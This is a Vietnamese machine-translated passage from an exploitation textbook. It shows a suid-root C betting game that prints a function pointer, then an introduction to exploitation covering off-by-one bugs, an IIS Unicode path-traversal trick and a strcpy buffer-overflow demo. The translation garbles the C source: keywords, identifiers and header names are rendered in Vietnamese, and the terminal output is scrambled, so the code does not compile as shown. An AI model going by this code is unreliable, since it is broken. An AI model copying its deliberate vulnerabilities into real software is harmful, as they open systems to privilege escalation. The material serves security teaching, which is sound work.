thẻ mà người dùng đã chọn làm đầu vào. Nếu user_pick là // -1, thì các số
lựa chọn sẽ được hiển thị. void print_cards(char
*message, char *cards, int user_pick) {
số nguyên i;
printf("\n\t*** %s ***\n", tin nhắn);
printf(" \t._.\t._.\t._.\n"); printf("Thẻ:
\t|%c|\t|%c|\t|%c|\n\t", cards[0], cards[1], cards[2]); if(user_pick == -1) printf("
1 \t 2 \t 3\n");
106 0x200
Machine Translated by Google
else
{ for(i=0; i < user_pick; i++)
printf("\t");
printf(" ^-- lựa chọn của bạn\n");
}
}
// Hàm này nhập tiền cược cho cả trò chơi No Match Dealer và // Find the Ace.
Nó mong đợi các khoản tín dụng khả dụng và // tiền cược trước đó làm đối số.
previous_wager chỉ quan trọng // đối với tiền cược thứ hai trong trò chơi Find the
Ace. Hàm // trả về -1 nếu tiền cược quá lớn hoặc quá nhỏ, và trả về // số
tiền cược nếu không. int take_wager(int available_credits, int previous_wager) { int
wager, total_wager;
printf("Bạn muốn đặt cược bao nhiêu trong số %d tín dụng của mình?", available_credits); scanf("%d",
&wager); if(wager < 1)
{ // Đảm bảo rằng số tiền cược lớn hơn 0.
printf("Cố gắng tốt, nhưng bạn phải cược một số dương!\n"); return -1;
} total_wager = previous_wager + wager;
if(total_wager > available_credits) { // Xác nhận số tín dụng khả dụng
printf("Tổng số tiền cược %d của bạn lớn hơn số tiền bạn có!\n", total_wager); printf("Bạn
chỉ có %d tín dụng khả dụng, hãy thử lại.\n", available_credits); trả về -1;
} trả lại tiền cược;
}
// Hàm này chứa một vòng lặp cho phép chơi lại trò chơi hiện tại. Nó cũng ghi
tổng số điểm tín dụng mới vào tệp // sau mỗi trò chơi được chơi. void
play_the_game() { int play_again =
1; int (*game) (); char
selection;
trong khi(chơi_lại) {
printf("\n[DEBUG] con trỏ trò chơi hiện tại @ 0x%08x\n", player.current_game);
nếu(player.current_game() != -1) {
// Nếu trò chơi diễn ra mà không có lỗi và
if(player.credits > player.highscore) // điểm cao mới được thiết lập,
player.highscore = player.credits; // cập nhật điểm cao.
printf("\nBây giờ bạn có %u điểm tín dụng\n", player.credits);
update_player_data(); // Ghi tổng điểm tín dụng mới vào tệp. printf("Bạn có muốn chơi lại không? (y/n) ");
selection = '\n'; while(selection == '\n')
// Xóa hết các dòng mới thừa.
scanf("%c", &selection);
nếu(selection == 'n')
phát lại = 0;
}
// Điều này có nghĩa là trò chơi trả về lỗi,
else play_again = 0; // quay lại menu chính.
Lập trình 107
Machine Translated by Google
}
}
// Hàm này là trò chơi Chọn số.
// Trả về -1 nếu người chơi không có đủ tín dụng. int pick_a_number()
{ int pick, winning_number;
printf("\n####### Chọn một số ######\n"); printf("Trò
chơi này tốn 10 điểm để chơi. Chỉ cần chọn một số\n"); printf("từ 1 đến 20 và nếu
bạn chọn đúng số trúng thưởng, bạn\n"); printf("sẽ trúng giải độc đắc là 100 điểm!
\n\n"); winning_number = (rand() % 20) + 1; // Chọn một số từ
1 đến 20. if(player.credits < 10) { printf("Bạn chỉ có %d điểm tín dụng. Không đủ để
chơi!\n\n", player.credits);
return -1; // Không đủ điểm tín dụng để chơi
} player.credits -= 10; // Trừ 10 tín dụng.
printf("10 tín dụng đã được khấu trừ khỏi tài khoản của bạn.\n");
printf("Chọn một số từ 1 đến 20: "); scanf("%d",
&pick);
printf("Số trúng thưởng là %d\n", winning_number); if(pick == winning_number)
jackpot(); else printf("Xin lỗi, bạn
không trúng
thưởng.
\n"); return 0;
}
// Đây là trò chơi Không có người chia diêm.
// Trả về -1 nếu người chơi có 0 điểm tín dụng. int
dealer_no_match() {
int i, j, số[16], cược = -1, trận đấu = -1;
printf("\n:::::::: Không có người chia bài phù
hợp ::::::::\n"); printf("Trong trò chơi này, bạn có thể đặt cược tới toàn bộ số
tín dụng của mình.\n"); printf("Người chia bài sẽ chia 16 số ngẫu nhiên từ 0 đến 99.\n");
printf("Nếu không có số nào trùng khớp, bạn sẽ nhân đôi số tiền của mình!\n\n");
nếu(player.credits == 0) {
printf("Bạn không có tín dụng nào để đặt cược!\n\n"); return -1;
} while(tiền cược ==
-1) tiền cược = take_wager(tín dụng của người chơi, 0);
printf("\t\t::: Chia 16 số ngẫu nhiên :::\n"); for(i=0; i < 16; i+
+) { numbers[i] = rand() %
100; // Chọn một số từ 0 đến 99. printf("%2d\t", numbers[i]); if(i%8 == 7)
// In ra một dấu ngắt dòng sau mỗi 8 số.
printf("\n");
} cho(i=0; i < 15; i++) {
108 0x200
// Vòng lặp tìm kiếm kết quả khớp.
Machine Translated by Google
j = i + 1;
khi(j < 16)
{ nếu(số[i] == số[j]) khớp =
số[i]; j++;
}
} if(match != -1)
{ printf("Nhà cái đã khớp số %d!\n", match); printf("Bạn mất %d
tín dụng.\n", tiền cược); player.credits -= tiền
cược; } else { printf("Không
có trận
đấu nào! Bạn thắng %d tín dụng!\n", tiền cược); player.credits += tiền cược;
} trả về 0;
}
// Đây là trò chơi Tìm quân Át.
// Trả về -1 nếu người chơi có 0 điểm tín dụng. int
find_the_ace() { int i,
ace, total_wager; int
invalid_choice, pick = -1, wager_one = -1, wager_two = -1; char choice_two,
cards[3] = {'X', 'X', 'X'};
ace = rand()%3; // Đặt quân át một cách ngẫu nhiên.
printf("******* Tìm quân Át *******\n");
printf("Trong trò chơi này, bạn có thể cược tới toàn bộ số tín dụng của mình.
\n"); printf("Ba lá bài sẽ được chia, hai quân hậu và một quân Át.\n");
printf("Nếu bạn tìm thấy quân Át, bạn sẽ thắng cược.\n"); printf("Sau
khi chọn một lá bài, một trong hai quân hậu sẽ được lật lên.\n"); printf("Lúc này, bạn
có thể chọn một lá bài khác hoặc\n"); printf("tăng tiền cược của bạn.\n\n");
nếu(player.credits == 0) {
printf("Bạn không có tín dụng nào để đặt cược!\n\n"); return -1;
}
while(wager_one == -1) // Lặp cho đến khi cược hợp lệ được thực hiện.
wager_one = take_wager(player.credits, 0);
print_cards("Chia bài", cards, -1); pick = -1;
while((pick
< 1) || (pick > 3)) { // Lặp cho đến khi chọn bài hợp lệ.
printf("Chọn một thẻ: 1, 2 hoặc 3 ");
scanf("%d", &pick);
} pick--; // Điều chỉnh cách chọn vì số hiệu quân bài bắt đầu từ 0. i=0;
while(i == ace || i == pick) // Tiếp tục lặp cho đến khi //
i++;
tìm được một quân hậu hợp lệ để lật.
cards[i] = 'Q';
print_cards("Lộ quân hậu", cards, pick);
Lập trình 109
Machine Translated by Google
invalid_choice = 1;
while(invalid_choice)
// Lặp cho đến khi đưa ra được lựa chọn hợp lệ.
{ printf("Bạn có muốn:\n[c]thay đổi lựa chọn của mình\hoặc\t[i]tăng tiền cược không?\n");
printf("Chọn c hoặc i: ");
choice_two = '\n';
while(choice_two == '\n') // Xóa các dòng mới thừa.
scanf("%c", &choice_two);
if(choice_two == 'i') { // Tăng tiền cược. invalid_choice=0; //
Đây là một lựa chọn hợp lệ. while(wager_two == -1) wager_two =
take_wager(player.credits,
// Lặp lại cho đến khi cược thứ hai hợp lệ được thực hiện.
wager_one);
}
if(choice_two == 'c') { // Thay đổi pick. i =
invalid_choice = 0; // Lựa chọn hợp lệ while(i
== pick || cards[i] == 'Q') // Lặp cho đến khi tìm thấy lá bài i++; // khác,
pick = i; // rồi đổi pick. printf("Lựa chọn lá bài
của bạn đã được đổi thành lá bài %d\n", pick+1);
}
}
for(i=0; i < 3; i++) { // Lật tất cả các lá bài. if(ace == i)
cards[i] = 'A';
else cards[i] = 'Q';
} print_cards("Kết quả cuối cùng", cards, pick);
if(pick == ace) { // Xử lý thắng.
printf("Bạn đã thắng %d tín dụng từ lần cược đầu tiên của mình\n", wager_one);
player.credits += wager_one;
if(wager_two != -1)
{ printf("và thêm %d tín dụng từ lần cược thứ hai của bạn!\n", wager_two); player.credits
+= wager_two;
}
} else { // Xử lý mất mát.
printf("Bạn đã mất %d tín dụng từ lần cược đầu tiên\n", wager_one); player.credits
-= wager_one; if(wager_two != -1)
{ printf("và thêm %d tín
dụng từ lần cược thứ hai của bạn!\n", wager_two); player.credits -= wager_two;
}
} trả về 0;
}
Vì đây là chương trình nhiều người dùng ghi vào tệp trong thư mục /var
nên tệp đó phải là suid root.
reader@hacking:~/booksrc $ gcc -o game_of_chance game_of_chance.c
reader@hacking:~/booksrc $ sudo chown root:root ./game_of_chance
reader@hacking:~/booksrc $ sudo chmod u+s ./game_of_chance
reader@hacking:~/booksrc $ ./game_of_chance
110 0x200
Machine Translated by Google
-=-={ Đăng ký người chơi mới }=-=Nhập tên của bạn: Jon Erickson
Chào mừng đến với Trò chơi may rủi, Jon Erickson.
Bạn đã được cấp 100 điểm tín dụng.
-=[ Menu Trò chơi may rủi ]=1 - Chơi trò chơi Chọn số
2 - Chơi trò chơi Không có người chia bài
3 - Chơi trò chơi Tìm Át chủ bài
4 - Xem điểm cao hiện tại
5 - Thay đổi tên người dùng của bạn
6 - Đặt lại tài khoản của bạn ở mức 100 tín dụng
7 - Bỏ cuộc
[Tên: Jon Erickson]
[Bạn có 100 điểm tín dụng] -> 1
[DEBUG] con trỏ current_game @ 0x08048e6e
####### Chọn một số ######
Trò chơi này tốn 10 tín dụng để chơi. Chỉ cần chọn một số
giữa 1 và 20, và nếu bạn chọn được số trúng thưởng, bạn
sẽ trúng giải độc đắc 100 tín dụng!
10 tín chỉ đã được khấu trừ khỏi tài khoản của bạn.
Chọn một số từ 1 đến 20: 7
Số trúng thưởng là 14.
Rất tiếc, bạn đã không thắng.
Bây giờ bạn có 90 tín chỉ.
Bạn có muốn chơi lại không? (y/n) n
-=[ Menu Trò chơi may rủi ]=1 - Chơi trò chơi Chọn số
2 - Chơi trò chơi Không có người chia bài
3 - Chơi trò chơi Tìm Át chủ bài
4 - Xem điểm cao hiện tại
5 - Thay đổi tên người dùng của bạn
6 - Đặt lại tài khoản của bạn ở mức 100 tín dụng
7 - Bỏ cuộc
[Tên: Jon Erickson]
[Bạn có 90 điểm tín dụng] -> 2
[DEBUG] con trỏ current_game @ 0x08048f61
::::::::: Không có người chia bài :::::::
Trong trò chơi này, bạn có thể đặt cược tối đa toàn bộ số tín dụng của mình.
Người chia bài sẽ chia 16 số ngẫu nhiên từ 0 đến 99.
Nếu không có kết quả trùng khớp nào giữa chúng, bạn sẽ được nhân đôi số tiền!
Bạn muốn cược bao nhiêu trong số 90 tín dụng của mình? 30
::: Chia 16 số ngẫu nhiên :::
88
68
82 51 85
21
73
80
50
11
64
78
39
42
40
95
Không có trận đấu nào! Bạn thắng 30 điểm!
Bây giờ bạn có 120 tín chỉ
Lập trình
111
Machine Translated by Google
Bạn có muốn chơi lại không? (y/n) n
-=[ Menu Trò chơi may rủi ]=1 - Chơi trò chơi Chọn số
2 - Chơi trò chơi Không có người chia bài
3 - Chơi trò chơi Tìm Át chủ bài
4 - Xem điểm cao hiện tại
5 - Thay đổi tên người dùng của bạn
6 - Đặt lại tài khoản của bạn ở mức 100 tín dụng
7 - Bỏ cuộc
[Tên: Jon Erickson]
[Bạn có 120 điểm tín dụng] -> 3
[DEBUG] con trỏ current_game @ 0x0804914c
******* Tìm Át chủ bài *******
Trong trò chơi này, bạn có thể đặt cược tối đa toàn bộ số tín dụng của mình.
Ba lá bài sẽ được chia: hai quân hậu và một quân át.
Nếu bạn tìm thấy quân Át, bạn sẽ thắng cược.
Sau khi chọn một lá bài, một trong những quân hậu sẽ được lật lên.
Tại thời điểm này, bạn có thể chọn một thẻ khác hoặc
tăng tiền cược của bạn.
Bạn muốn cược bao nhiêu trong số 120 tín dụng của mình? 50
*** Chia bài ***
._.
._.
._.
|X|
|X|
2
3
Thẻ: |X|
1
Chọn một thẻ: 1, 2 hoặc 3: 2
*** Tiết lộ một nữ hoàng
._.
._.
Thẻ: |X|
|X|
^--
***
._.
|Hỏi|
sự lựa chọn của bạn
Bạn có muốn
hoặc
[c]thay đổi lựa chọn của
[i]tăng tiền cược của bạn?
bạn Chọn c hoặc i: c
Lá bài bạn chọn đã được đổi thành lá bài 1.
*** Kết quả cuối cùng ***
._.
Thẻ: |A|
^--
._.
._.
|Q|
|Hỏi|
lựa chọn của bạn
Bạn đã thắng 50 tín dụng từ lần cược đầu tiên.
Bây giờ bạn có 170 tín chỉ.
Bạn có muốn chơi lại không? (y/n) n
-=[ Menu Trò chơi may rủi ]=1 - Chơi trò chơi Chọn số
2 - Chơi trò chơi Không có người chia bài
3 - Chơi trò chơi Tìm Át chủ bài
4 - Xem điểm cao hiện tại
5 - Thay đổi tên người dùng của bạn
6 - Đặt lại tài khoản của bạn ở mức 100 tín dụng
7 - Bỏ cuộc
112 0x200
Machine Translated by Google
[Tên: Jon Erickson]
[Bạn có 170 điểm tín dụng] -> 4
=====================| ĐIỂM CAO |==================== Hiện tại bạn có
điểm cao nhất là 170 tín chỉ!
====================================================== ====
-=[ Menu Trò chơi may rủi ]=1 - Chơi trò chơi Chọn số
2 - Chơi trò chơi Không có người chia bài
3 - Chơi trò chơi Tìm Át chủ bài
4 - Xem điểm cao hiện tại
5 - Thay đổi tên người dùng của bạn
6 - Đặt lại tài khoản của bạn ở mức 100 tín dụng
7 - Bỏ cuộc
[Tên: Jon Erickson]
[Bạn có 170 điểm tín dụng] -> 7
Cảm ơn vì đã chơi! Tạm biệt.
reader@hacking:~/booksrc $ sudo su jose
jose@hacking:/home/reader/booksrc $ ./game_of_chance -=-={ Đăng ký
người chơi mới }=-=- Nhập tên của bạn: Jose
Ronnick
Chào mừng đến với Trò chơi may rủi Jose Ronnick.
Bạn đã được cấp 100 điểm tín dụng.
-=[ Menu Trò chơi may rủi ]=- 1 Chơi trò Chọn số 2 - Chơi trò Không có
người chia bài 3 - Chơi trò Tìm quân Át 4
- Xem điểm cao hiện tại 5 - Thay đổi
tên người dùng 6 - Đặt lại tài khoản của bạn ở mức 100 tín dụng 7 Thoát [Tên: Jose Ronnick]
[Bạn có 100 điểm] -> 4
====================| ĐIỂM CAO |=================== Jon Erickson có
điểm cao nhất là 170.
====================================================== ====
-=[ Menu Trò chơi may rủi ]=1 - Chơi trò chơi Chọn số
2 - Chơi trò chơi Không có người chia bài
3 - Chơi trò chơi Tìm Át chủ bài
4 - Xem điểm cao hiện tại
5 - Thay đổi tên người dùng của bạn
6 - Đặt lại tài khoản của bạn ở mức 100 tín dụng
7 - Bỏ cuộc
[Tên: Jose Ronnick]
[Bạn có 100 điểm tín dụng] -> 7
Cảm ơn vì đã chơi! Tạm biệt.
jose@hacking:~/booksrc $ exit exit
người đọc@hacking:~/booksrc $
Lập trình 113
Machine Translated by Google
Hãy thử nghiệm một chút với chương trình này. Trò chơi Find the Ace là một
minh chứng cho nguyên lý xác suất có điều kiện; mặc dù nó trái ngược với trực
giác, nhưng việc thay đổi lựa chọn của bạn sẽ tăng cơ hội tìm thấy quân át từ
33 phần trăm lên 50 phần trăm. Nhiều người gặp khó khăn trong việc hiểu sự thật
này—đó là lý do tại sao nó trái ngược với trực giác. Bí quyết của việc hack là
hiểu những sự thật ít người biết đến như thế này và sử dụng chúng để tạo ra những
kết quả có vẻ kỳ diệu.
114 0x200
Machine Translated by Google
0x300
KHAI THÁC
Khai thác chương trình là một phần chính của tin tặc. Như đã
chứng minh trong chương trước, một chương trình được tạo
thành từ một tập hợp các quy tắc phức tạp theo một luồng thực
thi nhất định, cuối cùng sẽ cho máy tính biết phải làm gì.
Khai thác một chương trình chỉ đơn giản là một cách thông
minh để khiến máy tính làm những gì bạn muốn nó làm, ngay cả khi
chương trình đang chạy hiện tại được thiết kế để ngăn chặn hành động đó.
Vì một chương trình thực sự chỉ có thể làm những gì nó được thiết kế để làm,
các lỗ hổng bảo mật thực sự là những sai sót hoặc sự giám sát trong thiết kế
của chương trình hoặc môi trường mà chương trình đang chạy. Cần có một bộ óc
sáng tạo để tìm ra những lỗ hổng này và viết các chương trình bù đắp cho
chúng. Đôi khi những lỗ hổng này là sản phẩm của các lỗi lập trình tương đối
dễ thấy, nhưng có một số lỗi ít rõ ràng hơn đã tạo ra các kỹ thuật khai thác
phức tạp hơn có thể được áp dụng ở nhiều nơi khác nhau.
Machine Translated by Google
Một chương trình chỉ có thể thực hiện những gì nó được lập trình để làm, theo đúng nghĩa đen của luật pháp.
Thật không may, những gì được viết ra không phải lúc nào cũng trùng khớp với những gì người lập
trình muốn chương trình thực hiện. Nguyên lý này có thể được giải thích bằng một câu chuyện cười:
Một người đàn ông đang đi bộ qua khu rừng, và anh ta tìm thấy một chiếc đèn thần
trên mặt đất. Theo bản năng, anh ta nhặt chiếc đèn lên, chà xát vào mặt bên của nó
bằng tay áo, và một vị thần đèn xuất hiện. Vị thần đèn cảm ơn người đàn ông đã
giải thoát anh ta, và đề nghị ban cho anh ta ba điều ước. Người đàn ông vô cùng
vui sướng và biết chính xác những gì anh ta muốn.
“Đầu tiên,” người đàn ông nói, “tôi muốn một tỷ đô la.”
Thần đèn búng tay và một chiếc cặp đầy tiền xuất hiện từ hư không.
Người đàn ông mở to mắt ngạc nhiên và nói tiếp, "Tiếp theo, tôi muốn một chiếc Ferrari."
Thần đèn búng tay và một chiếc Ferrari xuất hiện từ trong làn khói.
Người đàn ông nói tiếp, “Cuối cùng, tôi muốn trở nên hấp dẫn đối với phụ nữ.”
Thần đèn búng tay và người đàn ông biến thành một hộp sôcôla.
Cũng giống như mong muốn cuối cùng của người đàn ông được đáp ứng dựa trên những gì anh
ta nói, thay vì những gì anh ta nghĩ, một chương trình sẽ tuân theo chính xác các chỉ dẫn của
nó, và kết quả không phải lúc nào cũng như những gì người lập trình mong muốn. Đôi khi hậu
quả có thể là thảm khốc.
Lập trình viên là con người, và đôi khi những gì họ viết không hoàn toàn giống như những
gì họ muốn nói. Ví dụ, một lỗi lập trình phổ biến được gọi là lỗi lệch một . Như tên gọi của nó,
đây là lỗi mà lập trình viên đã đếm nhầm một. Điều này xảy ra thường xuyên hơn bạn nghĩ và minh
họa rõ nhất bằng một câu hỏi: Nếu bạn đang xây một hàng rào cao 100 feet, với các cọc hàng rào
cách nhau 10 feet, thì bạn cần bao nhiêu cọc hàng rào? Câu trả lời hiển nhiên là 10 cọc hàng rào,
nhưng điều này không đúng, vì thực tế bạn cần 11 cọc. Loại lỗi lệch một này thường được gọi là
lỗi cọc hàng rào và nó xảy ra khi lập trình viên nhầm lẫn khi đếm các mục thay vì khoảng cách
giữa các mục hoặc ngược lại. Một ví dụ khác là khi lập trình viên đang cố gắng chọn một phạm vi
số hoặc mục để xử lý, chẳng hạn như các mục từ N đến M. Nếu N = 5 và M = 17, thì có bao nhiêu
mục để xử lý? Câu trả lời hiển nhiên là M - N hoặc 17 - 5 = 12
mục. Nhưng điều này không đúng, vì thực tế có M - N + 1 mục, tổng cộng là 13 mục. Thoạt nhìn,
điều này có vẻ trái ngược với trực giác, vì nó đúng là như vậy, và đó chính xác là lý do tại
sao những lỗi này xảy ra.
Thông thường, lỗi hàng rào không được chú ý vì các chương trình không được kiểm tra
mọi khả năng đơn lẻ, và tác động của lỗi hàng rào thường không xảy ra trong quá trình thực thi
chương trình bình thường. Tuy nhiên, khi chương trình được cung cấp đầu vào khiến tác động của
lỗi biểu hiện, hậu quả của lỗi có thể có hiệu ứng lan tràn đến phần còn lại của logic chương
trình. Khi được khai thác đúng cách, lỗi lệch một có thể khiến một chương trình có vẻ an toàn
trở thành lỗ hổng bảo mật.
Một ví dụ điển hình về điều này là OpenSSH, được cho là một bộ chương trình giao tiếp
thiết bị đầu cuối an toàn, được thiết kế để thay thế các chương trình không an toàn và
116 0x300
Machine Translated by Google
các dịch vụ không được mã hóa như telnet, rsh và rcp. Tuy nhiên, có một lỗi lệch một
trong mã phân bổ kênh đã bị khai thác rất nhiều. Cụ thể, mã bao gồm một câu lệnh if có
nội dung:
nếu (id < 0 || id > kênh_phân bổ) {
Nó đáng lẽ phải như thế
nếu (id < 0 || id >= kênh_phân bổ) {
Nói một cách dễ hiểu, đoạn mã này có nội dung là Nếu ID nhỏ hơn 0 hoặc ID lớn
hơn số kênh được phân bổ, hãy thực hiện các thao tác sau trong khi đáng lẽ phải thực
hiện như vậy Nếu ID nhỏ hơn 0 hoặc ID lớn hơn hoặc bằng số kênh được phân bổ, hãy thực
hiện các thao tác sau.
Lỗi đơn giản này cho phép khai thác sâu hơn chương trình, do đó người dùng
bình thường xác thực và đăng nhập có thể có được toàn quyền quản trị hệ thống. Kiểu
chức năng này chắc chắn không phải là những gì các lập trình viên muốn dành cho một
chương trình an toàn như OpenSSH, nhưng máy tính chỉ có thể làm những gì được bảo.
Một tình huống khác có vẻ như tạo ra lỗi lập trình viên có thể khai thác là khi
một chương trình được sửa đổi nhanh chóng để mở rộng chức năng của nó. Trong khi sự gia
tăng chức năng này làm cho chương trình dễ tiếp thị hơn và tăng giá trị của nó, nó cũng
làm tăng tính phức tạp của chương trình, làm tăng khả năng bị giám sát. Chương trình
máy chủ web IIS của Microsoft được thiết kế để phục vụ nội dung web tĩnh và tương tác
cho người dùng. Để thực hiện được điều này, chương trình phải cho phép người dùng đọc,
ghi và thực thi các chương trình và tệp trong các thư mục nhất định; tuy nhiên, chức
năng này phải bị giới hạn trong các thư mục cụ thể đó. Nếu không có giới hạn này, người
dùng sẽ có toàn quyền kiểm soát hệ thống, điều này rõ ràng là không mong muốn theo quan
điểm bảo mật. Để ngăn chặn tình huống này, chương trình có mã kiểm tra đường dẫn được
thiết kế để ngăn người dùng sử dụng ký tự dấu gạch chéo ngược để duyệt ngược qua
cây thư mục và nhập các thư mục khác.
Tuy nhiên, với việc bổ sung hỗ trợ cho bộ ký tự Unicode, độ phức tạp của chương
trình tiếp tục tăng lên. Unicode là bộ ký tự hai byte được thiết kế để cung cấp các ký
tự cho mọi ngôn ngữ, bao gồm tiếng Trung và tiếng Ả Rập. Bằng cách sử dụng hai byte cho
mỗi ký tự thay vì chỉ một byte, Unicode cho phép hàng chục nghìn ký tự có thể, trái
ngược với vài trăm ký tự được phép bởi các ký tự một byte. Độ phức tạp bổ sung này có
nghĩa là hiện có nhiều biểu diễn của ký tự dấu gạch chéo ngược. Ví dụ, %5c trong
Unicode được dịch thành ký tự dấu gạch chéo ngược, nhưng bản dịch này được thực hiện
sau khi mã kiểm tra đường dẫn đã chạy. Vì vậy, bằng cách sử dụng %5c thay vì \, thực
sự có thể duyệt qua các thư mục, cho phép các mối nguy hiểm bảo mật đã đề cập ở trên.
Cả sâu Sadmind và sâu CodeRed đều sử dụng loại giám sát chuyển đổi Unicode này để
làm hỏng các trang web.
Một ví dụ liên quan về nguyên tắc luật pháp này được sử dụng bên ngoài lĩnh
vực lập trình máy tính là Lỗ hổng LaMacchia. Giống như các quy tắc của một chương
trình máy tính, hệ thống pháp luật Hoa Kỳ đôi khi có các quy tắc
Khai thác 117
Machine Translated by Google
không nói chính xác ý định của người tạo ra chúng, và giống như một chương trình máy tính
khai thác, những lỗ hổng pháp lý này có thể được sử dụng để lách luật.
Gần cuối năm 1993, một hacker máy tính 21 tuổi và là sinh viên tại MIT tên là David
LaMacchia đã thiết lập một hệ thống bảng tin có tên là Cynosure cho mục đích vi phạm bản
quyền phần mềm. Những người có phần mềm để cung cấp sẽ tải lên và những người muốn có phần
mềm sẽ tải xuống. Dịch vụ này chỉ trực tuyến trong khoảng sáu tuần, nhưng nó đã tạo ra lưu
lượng mạng lớn trên toàn thế giới, cuối cùng đã thu hút sự chú ý của các cơ quan chức năng
của trường đại học và liên bang.
Các công ty phần mềm tuyên bố rằng họ đã mất một triệu đô la do Cynosure, và một bồi thẩm
đoàn liên bang đã buộc tội LaMacchia về một tội danh âm mưu với những người không rõ danh
tính để vi phạm luật gian lận qua mạng. Tuy nhiên, cáo buộc đã bị bác bỏ vì những gì
LaMacchia bị cáo buộc đã làm không phải là hành vi phạm tội theo Đạo luật Bản quyền, vì hành
vi vi phạm không nhằm mục đích lợi thế thương mại hoặc lợi ích tài chính cá nhân.
Rõ ràng, các nhà lập pháp chưa bao giờ lường trước được rằng có người có thể tham gia vào
những hoạt động như thế này vì động cơ nào khác ngoài lợi ích tài chính cá nhân.
(Quốc hội đã đóng lỗ hổng này vào năm 1997 bằng Đạo luật Chống trộm cắp thiết bị điện tử.)
Mặc dù ví dụ này không liên quan đến việc khai thác một chương trình máy tính, nhưng
thẩm phán và tòa án có thể được coi là máy tính thực hiện chương trình của hệ thống pháp
luật như đã viết. Các khái niệm trừu tượng về tin tặc vượt ra ngoài máy tính và có thể
được áp dụng cho nhiều khía cạnh khác của cuộc sống liên quan đến các hệ thống phức tạp.
0x310 Kỹ thuật khai thác tổng quát
Lỗi lệch một và mở rộng Unicode không đúng đều là những lỗi khó có thể nhận ra tại thời điểm
đó nhưng lại rất rõ ràng đối với bất kỳ lập trình viên nào khi nhìn lại. Tuy nhiên, có một
số lỗi phổ biến có thể bị khai thác theo những cách không dễ nhận thấy. Tác động của những
lỗi này đối với bảo mật không phải lúc nào cũng rõ ràng và những vấn đề bảo mật này có thể
được tìm thấy trong mã ở mọi nơi.
Vì cùng một loại lỗi được mắc phải ở nhiều nơi khác nhau nên các kỹ thuật khai thác tổng
quát đã phát triển để tận dụng những lỗi này và chúng có thể được sử dụng trong nhiều tình
huống khác nhau.
Hầu hết các khai thác chương trình đều liên quan đến lỗi bộ nhớ. Chúng bao gồm
các kỹ thuật khai thác phổ biến như tràn bộ đệm cũng như các phương pháp ít phổ biến hơn
như khai thác chuỗi định dạng. Với các kỹ thuật này, mục tiêu cuối cùng là kiểm soát luồng
thực thi của chương trình mục tiêu bằng cách lừa nó chạy một đoạn mã độc hại đã được lén đưa
vào bộ nhớ.
Kiểu chiếm đoạt quy trình này được gọi là thực thi mã tùy ý, vì tin tặc có thể khiến một
chương trình thực hiện bất kỳ điều gì mà chúng muốn.
Giống như lỗ hổng LaMacchia, các loại lỗ hổng này tồn tại vì có những trường hợp bất ngờ cụ
thể mà chương trình không thể xử lý. Trong điều kiện bình thường, những trường hợp bất
ngờ này khiến chương trình bị sập—
ẩn dụ là đẩy luồng thực thi xuống vực thẳm. Nhưng nếu môi trường được kiểm soát cẩn thận,
luồng thực thi có thể được kiểm soát—ngăn chặn sự cố và lập trình lại quy trình.
118 0x300
Machine Translated by Google
0x320 Tràn bộ đệm
Lỗ hổng tràn bộ đệm đã xuất hiện từ những ngày đầu của máy tính và vẫn tồn
tại cho đến ngày nay. Hầu hết các sâu Internet đều sử dụng khả năng tràn bộ
đệm để phát tán, và ngay cả lỗ hổng VML zero-day mới nhất trong Internet
Explorer cũng là do tràn bộ đệm.
C là ngôn ngữ lập trình cấp cao, nhưng nó giả định rằng lập
trình viên chịu trách nhiệm về tính toàn vẹn của dữ liệu. Nếu trách
nhiệm này được chuyển sang trình biên dịch, các tệp nhị phân kết quả sẽ
chậm hơn đáng kể, do kiểm tra tính toàn vẹn trên mọi biến. Ngoài ra, điều
này sẽ loại bỏ một mức độ kiểm soát đáng kể từ lập trình viên và làm
phức tạp ngôn ngữ.
Trong khi tính đơn giản của C làm tăng khả năng kiểm soát của lập trình
viên và hiệu quả của các chương trình kết quả, nó cũng có thể dẫn đến các
chương trình dễ bị tràn bộ đệm và rò rỉ bộ nhớ nếu lập trình viên không cẩn
thận. Điều này có nghĩa là sau khi một biến được phân bổ bộ nhớ, không có
biện pháp bảo vệ tích hợp nào để đảm bảo rằng nội dung của biến phù hợp với
không gian bộ nhớ được phân bổ. Nếu một lập trình viên muốn đưa mười byte dữ
liệu vào bộ đệm chỉ được phân bổ tám byte không gian, thì loại hành động đó
được phép, mặc dù rất có thể nó sẽ khiến chương trình bị sập. Điều này được
gọi là tràn bộ đệm hoặc tràn bộ đệm, vì hai byte dữ liệu bổ sung sẽ tràn và
tràn ra khỏi bộ nhớ được phân bổ, ghi đè lên bất kỳ dữ liệu nào xảy ra
tiếp theo. Nếu một phần dữ liệu quan trọng bị ghi đè, chương trình sẽ bị sập.
Mã overflow_example.c đưa ra một ví dụ.
tràn_ví dụ.c
#include <stdio.h>
#include <chuỗi.h>
int main(int argc, char *argv[]) {
giá trị int = 5;
char buffer_one[8], buffer_two[8];
strcpy(buffer_one, "one"); /* Đặt "one" vào buffer_one. */
strcpy(buffer_two, "two"); /* Đặt "two" vào buffer_two. */
printf("[TRƯỚC] buffer_two ở %p và chứa \'%s\'\n", buffer_two, buffer_two);
printf("[TRƯỚC] buffer_one nằm ở %p và chứa \'%s\'\n", buffer_one, buffer_one);
printf("Giá trị [TRƯỚC] nằm tại %p và là %d (0x%08x)\n", &value, value, value);
printf("\n[STRCPY] đang sao chép %d byte vào buffer_two\n\n", strlen(argv[1]));
strcpy(buffer_two, argv[1]); /* Sao chép đối số đầu tiên vào buffer_two. */
printf("[SAU] buffer_two ở %p và chứa \'%s\'\n", buffer_two, buffer_two);
printf("[SAU] buffer_one ở %p và chứa \'%s\'\n", buffer_one, buffer_one);
printf("Giá trị [SAU] nằm ở %p và là %d (0x%08x)\n", &value, value, value);
}
Khai thác 119
Machine Translated by Google
Bây giờ, bạn có thể đọc mã nguồn ở trên và tìm ra chương trình thực hiện
chức năng gì. Sau khi biên dịch trong đầu ra mẫu bên dưới, chúng tôi thử sao
chép mười byte từ đối số dòng lệnh đầu tiên vào buffer_two, chỉ có tám byte
được phân bổ cho nó.
reader@hacking:~/booksrc $ gcc -o tràn_ví dụ tràn_ví dụ.c reader@hacking:~/
booksrc $ ./overflow_example 1234567890
[TRƯỚC] buffer_two ở 0xbffff7f0 và chứa 'two'
[TRƯỚC] buffer_one ở 0xbffff7f8 và chứa 'one'
Giá trị [TRƯỚC] là 0xbffff804 và là 5 (0x00000005)
[STRCPY] sao chép 10 byte vào buffer_two
[SAU] buffer_two ở 0xbffff7f0 và chứa '1234567890'
[SAU] buffer_one ở 0xbffff7f8 và chứa '90'
